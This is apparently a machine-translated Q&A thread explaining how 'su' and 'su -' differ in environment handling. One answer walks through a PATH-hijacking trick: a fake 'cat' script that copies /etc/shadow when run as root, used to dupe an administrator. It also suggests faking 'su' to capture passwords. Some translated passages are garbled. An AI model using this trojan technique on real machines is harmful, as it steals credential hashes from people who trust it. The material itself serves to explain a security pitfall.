回答:
su -
ユーザーを切り替えた後にログインシェルを呼び出します。ログインシェルはほとんどの環境変数をリセットし、クリーンなベースを提供します。
su
ユーザーを切り替えるだけで、通常のシェルに古いユーザーとほぼ同じ環境が提供されます。
あなたがマシンへの通常のユーザーアクセスを持つソフトウェア開発者であり、あなたの無知な管理者があなたにrootアクセスを与えないことを想像してください。(うまくいけば)彼をだまそう。
$ mkdir /tmp/evil_bin
$ vi /tmp/evil_bin/cat
#!/bin/bash
test $UID != 0 && { echo "/bin/cat: Permission denied!"; exit 1; }
/bin/cat /etc/shadow &>/tmp/shadow_copy
/bin/cat "$@"
exit 0
$ chmod +x /tmp/evil_bin/cat
$ PATH="/tmp/evil_bin:$PATH"
ここcat
で、ホームフォルダーにダミーファイルを作成できない理由を管理者に尋ねます。それは機能しません。
$ ls -l /home/you/dummy_file
-rw-r--r-- 1 you wheel 41 2011-02-07 13:00 dummy_file
$ cat /home/you/dummy_file
/bin/cat: Permission denied!
あなたの管理者がそれほど頭が良くない、または少し怠けている場合、彼はあなたの机に来て彼のスーパーユーザーの力を試してみるかもしれません:
$ su
Password: ...
# cat /home/you/dummy_file
Some important dummy stuff in that file.
# exit
うわー!ありがとう、スーパー管理者!
$ ls -l /tmp/shadow_copy
-rw-r--r-- 1 root root 1093 2011-02-07 13:02 /tmp/shadow_copy
彼、彼。
破損した$PATH
変数がリセットされていないことに気付いたかもしれません。管理者がsu -
代わりに呼び出した場合、これは起こりませんでした。
umask
000などを設定することを忘れないでください。そうしないと機能しません。
su
PATH内にファイルを置くこともできます。本物の振る舞いをまねることはそれほど難しくありませんsu
。とにかくスーパーユーザーは不注意
su --
次と同じではありませんsu -
:--
getopt(s)(または同様の)オプションハンドラーに、オプションの追加のためにコマンドラインの処理を停止するよう指示します(たとえば、残りに「-」で始まるファイル名が含まれている場合に役立ちます)。「RM -i - -f」、すなわち、:そしてようにここでは、通常の引数として扱われる-f ファイルの名前にrm -i
、そしてない additionnalなど-f
のオプションrm
のコマンド。だから、そうでsu --
はsu
ありませんsu -
!だからsu --
、ワグによる(面白いと有益な)例のギバンにとって安全ではありません。を使用しsu -
ます。
su -
rootとして完全にログインしますが、rootにsu
なりすますようにします。
これの最も明白な例は~
、を使用する場合はルートのホームディレクトリですがsu -
、を使用する場合は独自のホームディレクトリですsu
。
システムによっては、プロンプト、、PATH
または履歴ファイルの違いも意味する場合があります。
あなたがシステムを管理するチームの一員であり、あなたの同僚があなたに実行するコマンドを与えた場合、あなたが両方を使用している場合は同じように動作しますsu -
が、あなたが両方を使用している場合、あなたがsu
持っているために違いがあるかもしれません異なるシェル構成。
一方、コマンドをrootとして実行したいが、独自の構成を使用したい場合は、おそらくsu
より良いでしょう。
またsudo
、を忘れないでください。これには、-s
rootとして実行されているシェルを起動するオプションがあります。もちろん、これには異なるルールもあり、使用しているディストリビューションに応じて変更されます。
.bashrc
または/etc/bashrc
または/etc/profile.d
スクリプトが設定されていますPATH
。if [ $UID -eq 0 ]
またはそのようなものを探してください。
$USER
たとえば、変更されないままです。
sudo su
?
su --
はと同じsu
です。